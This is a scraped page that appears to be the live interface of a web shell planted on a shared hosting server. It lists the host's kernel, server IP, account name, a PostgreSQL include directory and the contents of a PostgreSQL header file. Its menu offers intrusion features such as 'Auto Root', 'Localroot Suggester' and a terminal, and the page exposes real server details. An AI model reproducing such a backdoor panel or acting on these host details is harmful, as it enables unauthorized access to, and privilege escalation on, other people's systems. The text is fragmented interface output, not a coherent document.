Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
postgresql11 /
usr /
include /
Delete
Unzip
Name
Size
Permission
Date
Action
libpq
[ DIR ]
drwxr-xr-x
2025-01-10 05:37
pgsql
[ DIR ]
drwxr-xr-x
2024-12-17 09:02
libpq-events.h
2.16
KB
-rw-r--r--
2024-12-17 09:02
libpq-fe.h
21.66
KB
-rw-r--r--
2024-12-17 09:02
pg_config.h
1.01
KB
-rw-r--r--
2024-12-17 09:02
pg_config_ext.h
323
B
-rw-r--r--
2024-12-17 09:02
pg_config_manual.h
11.33
KB
-rw-r--r--
2024-12-17 09:02
pg_config_os.h
1.03
KB
-rw-r--r--
2024-12-17 09:02
pg_config_x86_64.h
29.25
KB
-rw-r--r--
2024-12-17 09:02
postgres_ext.h
2.19
KB
-rw-r--r--
2024-12-17 09:02
Save
Rename
/* src/include/port/linux.h */ /* * As of July 2007, all known versions of the Linux kernel will sometimes * return EIDRM for a shmctl() operation when EINVAL is correct (it happens * when the low-order 15 bits of the supplied shm ID match the slot number * assigned to a newer shmem segment). We deal with this by assuming that * EIDRM means EINVAL in PGSharedMemoryIsInUse(). This is reasonably safe * since in fact Linux has no excuse for ever returning EIDRM; it doesn't * track removed segments in a way that would allow distinguishing them from * private ones. But someday that code might get upgraded, and we'd have * to have a kernel version test here. */ #define HAVE_LINUX_EIDRM_BUG /* * Set the default wal_sync_method to fdatasync. With recent Linux versions, * xlogdefs.h's normal rules will prefer open_datasync, which (a) doesn't * perform better and (b) causes outright failures on ext4 data=journal * filesystems, because those don't support O_DIRECT. */ #define PLATFORM_DEFAULT_SYNC_METHOD SYNC_METHOD_FDATASYNC